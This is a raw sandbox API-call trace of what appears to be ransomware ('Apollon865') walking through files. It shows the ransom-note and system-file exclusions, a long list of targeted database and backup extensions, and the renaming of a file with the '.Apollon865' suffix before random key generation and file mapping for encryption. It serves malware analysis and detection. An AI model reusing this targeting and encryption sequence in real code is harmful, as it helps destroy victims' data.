	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="..") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="windows") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="bootmgr") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="temp") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="pagefile.sys") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="boot") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ids.txt") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ntuser.dat") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="perflogs") returned 1
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="MSBuild") returned 1
	[0053.177] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0053.177] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url") returned 61
	[0053.177] lstrcpyW (in: lpString1=0x119e658, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url"
	[0053.177] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0053.177] lstrlenW (lpString="Apollon865") returned 10
	[0053.177] lstrcmpiW (lpString1="Spaces.url", lpString2="Apollon865") returned 1
	[0053.177] lstrlenW (lpString=".dll") returned 4
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".dll") returned 1
	[0053.177] lstrlenW (lpString=".lnk") returned 4
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".lnk") returned 1
	[0053.177] lstrlenW (lpString=".ini") returned 4
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".ini") returned 1
	[0053.177] lstrlenW (lpString=".sys") returned 4
	[0053.177] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".sys") returned 1
	[0053.177] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0053.177] lstrlenW (lpString="bak") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.178] lstrlenW (lpString="ba_") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.178] lstrlenW (lpString="dbb") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.178] lstrlenW (lpString="vmdk") returned 4
	[0053.178] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.178] lstrlenW (lpString="rar") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.178] lstrlenW (lpString="zip") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.178] lstrlenW (lpString="tgz") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.178] lstrlenW (lpString="vbox") returned 4
	[0053.178] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.178] lstrlenW (lpString="vdi") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.178] lstrlenW (lpString="vhd") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.178] lstrlenW (lpString="vhdx") returned 4
	[0053.178] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.178] lstrlenW (lpString="avhd") returned 4
	[0053.178] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.178] lstrlenW (lpString="db") returned 2
	[0053.178] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.178] lstrlenW (lpString="db2") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.178] lstrlenW (lpString="db3") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.178] lstrlenW (lpString="dbf") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.178] lstrlenW (lpString="mdf") returned 3
	[0053.178] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.178] lstrlenW (lpString="mdb") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.179] lstrlenW (lpString="sql") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.179] lstrlenW (lpString="sqlite") returned 6
	[0053.179] lstrcmpiW (lpString1="es.url", lpString2="sqlite") returned -1
	[0053.179] lstrlenW (lpString="sqlite3") returned 7
	[0053.179] lstrcmpiW (lpString1="ces.url", lpString2="sqlite3") returned -1
	[0053.179] lstrlenW (lpString="sqlitedb") returned 8
	[0053.179] lstrcmpiW (lpString1="aces.url", lpString2="sqlitedb") returned -1
	[0053.179] lstrlenW (lpString="xml") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.179] lstrlenW (lpString="$er") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.179] lstrlenW (lpString="4dd") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.179] lstrlenW (lpString="4dl") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.179] lstrlenW (lpString="^^^") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.179] lstrlenW (lpString="abs") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.179] lstrlenW (lpString="abx") returned 3
	[0053.179] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.179] lstrlenW (lpString="accdb") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0053.179] lstrlenW (lpString="accdc") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0053.179] lstrlenW (lpString="accde") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0053.179] lstrlenW (lpString="accdr") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0053.179] lstrlenW (lpString="accdt") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0053.179] lstrlenW (lpString="accdw") returned 5
	[0053.179] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0053.180] lstrlenW (lpString="accft") returned 5
	[0053.180] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0053.180] lstrlenW (lpString="adb") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.180] lstrlenW (lpString="adb") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.180] lstrlenW (lpString="ade") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.180] lstrlenW (lpString="adf") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.180] lstrlenW (lpString="adn") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.180] lstrlenW (lpString="adp") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.180] lstrlenW (lpString="alf") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.180] lstrlenW (lpString="ask") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.180] lstrlenW (lpString="btr") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.180] lstrlenW (lpString="cat") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.180] lstrlenW (lpString="cdb") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.180] lstrlenW (lpString="ckp") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.180] lstrlenW (lpString="cma") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.180] lstrlenW (lpString="cpd") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.180] lstrlenW (lpString="dacpac") returned 6
	[0053.180] lstrcmpiW (lpString1="es.url", lpString2="dacpac") returned 1
	[0053.180] lstrlenW (lpString="dad") returned 3
	[0053.180] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.180] lstrlenW (lpString="dadiagrams") returned 10
	[0053.181] lstrcmpiW (lpString1="Spaces.url", lpString2="dadiagrams") returned 1
	[0053.181] lstrlenW (lpString="daschema") returned 8
	[0053.181] lstrcmpiW (lpString1="aces.url", lpString2="daschema") returned -1
	[0053.181] lstrlenW (lpString="db-journal") returned 10
	[0053.181] lstrcmpiW (lpString1="Spaces.url", lpString2="db-journal") returned 1
	[0053.181] lstrlenW (lpString="db-shm") returned 6
	[0053.181] lstrcmpiW (lpString1="es.url", lpString2="db-shm") returned 1
	[0053.181] lstrlenW (lpString="db-wal") returned 6
	[0053.181] lstrcmpiW (lpString1="es.url", lpString2="db-wal") returned 1
	[0053.181] lstrlenW (lpString="dbc") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.181] lstrlenW (lpString="dbs") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.181] lstrlenW (lpString="dbt") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.181] lstrlenW (lpString="dbv") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.181] lstrlenW (lpString="dbx") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.181] lstrlenW (lpString="dcb") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.181] lstrlenW (lpString="dct") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.181] lstrlenW (lpString="dcx") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.181] lstrlenW (lpString="ddl") returned 3
	[0053.181] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.182] lstrlenW (lpString="dlis") returned 4
	[0053.182] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.182] lstrlenW (lpString="dp1") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.182] lstrlenW (lpString="dqy") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.182] lstrlenW (lpString="dsk") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.182] lstrlenW (lpString="dsn") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.182] lstrlenW (lpString="dtsx") returned 4
	[0053.182] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.182] lstrlenW (lpString="dxl") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.182] lstrlenW (lpString="eco") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.182] lstrlenW (lpString="ecx") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.182] lstrlenW (lpString="edb") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.182] lstrlenW (lpString="epim") returned 4
	[0053.182] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.182] lstrlenW (lpString="fcd") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.182] lstrlenW (lpString="fdb") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.182] lstrlenW (lpString="fic") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.182] lstrlenW (lpString="flexolibrary") returned 12
	[0053.182] lstrcmpiW (lpString1="e Spaces.url", lpString2="flexolibrary") returned -1
	[0053.182] lstrlenW (lpString="fm5") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.182] lstrlenW (lpString="fmp") returned 3
	[0053.182] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.183] lstrlenW (lpString="fmp12") returned 5
	[0053.183] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0053.183] lstrlenW (lpString="fmpsl") returned 5
	[0053.183] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0053.183] lstrlenW (lpString="fol") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.183] lstrlenW (lpString="fp3") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.183] lstrlenW (lpString="fp4") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.183] lstrlenW (lpString="fp5") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.183] lstrlenW (lpString="fp7") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.183] lstrlenW (lpString="fpt") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.183] lstrlenW (lpString="frm") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.183] lstrlenW (lpString="gdb") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.183] lstrlenW (lpString="gdb") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.183] lstrlenW (lpString="grdb") returned 4
	[0053.183] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.183] lstrlenW (lpString="gwi") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.183] lstrlenW (lpString="hdb") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.183] lstrlenW (lpString="his") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.183] lstrlenW (lpString="ib") returned 2
	[0053.183] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.183] lstrlenW (lpString="idb") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.183] lstrlenW (lpString="ihx") returned 3
	[0053.183] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.184] lstrlenW (lpString="itdb") returned 4
	[0053.184] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.184] lstrlenW (lpString="itw") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.184] lstrlenW (lpString="jet") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.184] lstrlenW (lpString="jtx") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.184] lstrlenW (lpString="kdb") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.184] lstrlenW (lpString="kexi") returned 4
	[0053.184] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.184] lstrlenW (lpString="kexic") returned 5
	[0053.184] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0053.184] lstrlenW (lpString="kexis") returned 5
	[0053.184] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0053.184] lstrlenW (lpString="lgc") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0053.184] lstrlenW (lpString="lwx") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0053.184] lstrlenW (lpString="maf") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0053.184] lstrlenW (lpString="maq") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0053.184] lstrlenW (lpString="mar") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0053.184] lstrlenW (lpString="marshal") returned 7
	[0053.184] lstrcmpiW (lpString1="ces.url", lpString2="marshal") returned -1
	[0053.184] lstrlenW (lpString="mas") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0053.184] lstrlenW (lpString="mav") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0053.184] lstrlenW (lpString="maw") returned 3
	[0053.184] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0053.184] lstrlenW (lpString="mdbhtml") returned 7
	[0053.185] lstrcmpiW (lpString1="ces.url", lpString2="mdbhtml") returned -1
	[0053.185] lstrlenW (lpString="mdn") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.185] lstrlenW (lpString="mdt") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.185] lstrlenW (lpString="mfd") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.185] lstrlenW (lpString="mpd") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.185] lstrlenW (lpString="mrg") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.185] lstrlenW (lpString="mud") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.185] lstrlenW (lpString="mwb") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.185] lstrlenW (lpString="myd") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.185] lstrlenW (lpString="ndf") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.185] lstrlenW (lpString="nnt") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.185] lstrlenW (lpString="nrmlib") returned 6
	[0053.185] lstrcmpiW (lpString1="es.url", lpString2="nrmlib") returned -1
	[0053.185] lstrlenW (lpString="ns2") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.185] lstrlenW (lpString="ns3") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.185] lstrlenW (lpString="ns4") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.185] lstrlenW (lpString="nsf") returned 3
	[0053.185] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.185] lstrlenW (lpString="nv") returned 2
	[0053.185] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.186] lstrlenW (lpString="nv2") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.186] lstrlenW (lpString="nwdb") returned 4
	[0053.186] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.186] lstrlenW (lpString="nyf") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.186] lstrlenW (lpString="odb") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.186] lstrlenW (lpString="odb") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.186] lstrlenW (lpString="oqy") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.186] lstrlenW (lpString="ora") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.186] lstrlenW (lpString="orx") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.186] lstrlenW (lpString="owc") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.186] lstrlenW (lpString="p96") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.186] lstrlenW (lpString="p97") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.186] lstrlenW (lpString="pan") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.186] lstrlenW (lpString="pdb") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.186] lstrlenW (lpString="pdm") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.186] lstrlenW (lpString="pnz") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.186] lstrlenW (lpString="qry") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.186] lstrlenW (lpString="qvd") returned 3
	[0053.186] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.186] lstrlenW (lpString="rbf") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.187] lstrlenW (lpString="rctd") returned 4
	[0053.187] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.187] lstrlenW (lpString="rod") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.187] lstrlenW (lpString="rodx") returned 4
	[0053.187] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.187] lstrlenW (lpString="rpd") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.187] lstrlenW (lpString="rsd") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.187] lstrlenW (lpString="sas7bdat") returned 8
	[0053.187] lstrcmpiW (lpString1="aces.url", lpString2="sas7bdat") returned -1
	[0053.187] lstrlenW (lpString="sbf") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.187] lstrlenW (lpString="scx") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.187] lstrlenW (lpString="sdb") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.187] lstrlenW (lpString="sdc") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.187] lstrlenW (lpString="sdf") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.187] lstrlenW (lpString="sis") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.187] lstrlenW (lpString="spq") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.187] lstrlenW (lpString="te") returned 2
	[0053.187] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.187] lstrlenW (lpString="teacher") returned 7
	[0053.187] lstrcmpiW (lpString1="ces.url", lpString2="teacher") returned -1
	[0053.187] lstrlenW (lpString="tmd") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.187] lstrlenW (lpString="tps") returned 3
	[0053.187] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.188] lstrlenW (lpString="trc") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.188] lstrlenW (lpString="trc") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.188] lstrlenW (lpString="trm") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.188] lstrlenW (lpString="udb") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.188] lstrlenW (lpString="udl") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.188] lstrlenW (lpString="usr") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.188] lstrlenW (lpString="v12") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.188] lstrlenW (lpString="vis") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.188] lstrlenW (lpString="vpd") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.188] lstrlenW (lpString="vvv") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.188] lstrlenW (lpString="wdb") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.188] lstrlenW (lpString="wmdb") returned 4
	[0053.188] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.188] lstrlenW (lpString="wrk") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.188] lstrlenW (lpString="xdb") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.188] lstrlenW (lpString="xld") returned 3
	[0053.188] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.188] lstrlenW (lpString="xmlff") returned 5
	[0053.188] lstrcmpiW (lpString1="s.url", lpString2="xmlff") returned -1
	[0053.188] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865") returned 74
	[0053.188] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.apollon865"), dwFlags=0x1) returned 1
	[0053.189] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.189] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.189] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.190] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.190] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.190] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.190] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.191] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x154
	[0053.192] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.193] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0053.194] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.194] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0053.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0053.194] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0053.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b58d8
